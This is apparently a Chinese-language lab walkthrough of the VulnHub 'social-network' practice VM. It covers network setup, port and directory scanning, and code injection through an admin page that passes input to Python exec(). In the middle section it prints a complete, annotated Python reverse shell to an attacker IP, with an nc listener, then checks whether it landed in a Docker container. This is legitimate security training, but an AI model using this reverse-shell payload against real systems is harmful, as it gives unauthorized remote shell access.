1.靶场搭建

靶场地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

描述
social-network一个新的匿名社交网站,用户可以在其中互相发布消息。该网站使用了docker容器。尝试获得root权限。

难度:中等

涉及的任务:
端口扫描
网络应用攻击
代码注入
旋转
开发
密码破解
蛮力

下载后在virtualbox里导入靶机,这里要注意的是,为了保证我们的攻击机kali能和靶机在同一网段,我们要同时设置这两台机器为host-only或者NAT模式。前者在设置好后,可以互相访问。但是后者没法直接用里面的NAT模式,可能是自带的NAT模式(网络地址转换NAT)没法自动DHCP

图片

所以要自己设置一个NAT

左上角全局设置的网络里

图片

新建一个NatNetwork,配置如下,主要能使用DHCP图片

至此,靶场环境搭建完成

2.过程

1.主机发现

由于这两台机器是在同一网段,所以直接利用二层地址发现工具

arp-scan -l

图片

出现了四个ip,前三个是kali的ip,最后一个就是靶机的ip

接下来进行全端口的扫描

nmap -p- 10.10.2.4

图片

开放了22和5000两个端口

端口服务版本探测

nmap -p22,5000 -sV 10.0.2.4

图片

22端口就是ssh的服务
5000端口开启了名为Werkzeug的httpd服务,并且操作系统是Ubuntu,使用了Python 2.7.15。Werkzeug是Python的一个Web框架
尝试访问

2.目录爆破

图片

该网站可以通过add message来留下信息

尝试目录爆破

dirsearch -u http://10.0.2.4:5000/
# 结果发现了/admin,直接访问

图片

test code可以用来执行python命令,交给exec()执行

3.反弹shell

输入以下代码反弹shell

# 红框部分大概意思是:创建一个可交互的sh和一个到192.168.118.128的TCP连接,然后将sh的输入输出错误都重定向到在192.168.118.128占用5555端口的进程上

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);  
# 创建套接字;AF_INET(TCP/IP – IPv4);SOCK_STREAM(TCP流)
s.connect(("192.168.118.128",5555));  
# 要连接的ip地址和端口
os.dup2(s.fileno(),0);  
# os.dup2()方法用于将一个文件描述符 fd 复制到另一个 fd2
os.dup2(s.fileno(),1);  
# fileno()方法返回一个整型的文件描述符(file descriptor FD 整型),可用于底层操作系统的 I/O 操作
os.dup2(s.fileno(),2);  
# 使用fileno()返回一个整型的文件描述符,并使用os.dup2(s.fileno(),0)把这个整型的文件描述符复制到后面的0三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。
p=subprocess.call(["/bin/sh","-i"]);  
# subprocess.call()执行由参数提供的命令,返回命令的状态,0或者非0
# 可以是["/bin/bash","-i"]或["/bin/sh","-i"]

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.2.5",4444));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

nc -lvnp 4444
# kali监听4444端口

图片

成功反弹了shell,还是一个root权限,看样子已经结束咧

ls
# 当前目录下有dockerfile,看来我们只是拿到了docker,没拿到宿主机,
# 以下是几种确定是否是docker容器的方法

ls /.dockerenv
# 查看初始化进程ID
# 如果进程中包含docker字样,就可以说明这是一个docker容器
cat /proc/1/cgroup
# 最简单的,docker容器的linux系统是"精简版的",少了很多命令,其中就包括ll
# 如果ll不能执行,就可以说明这是一个docker容器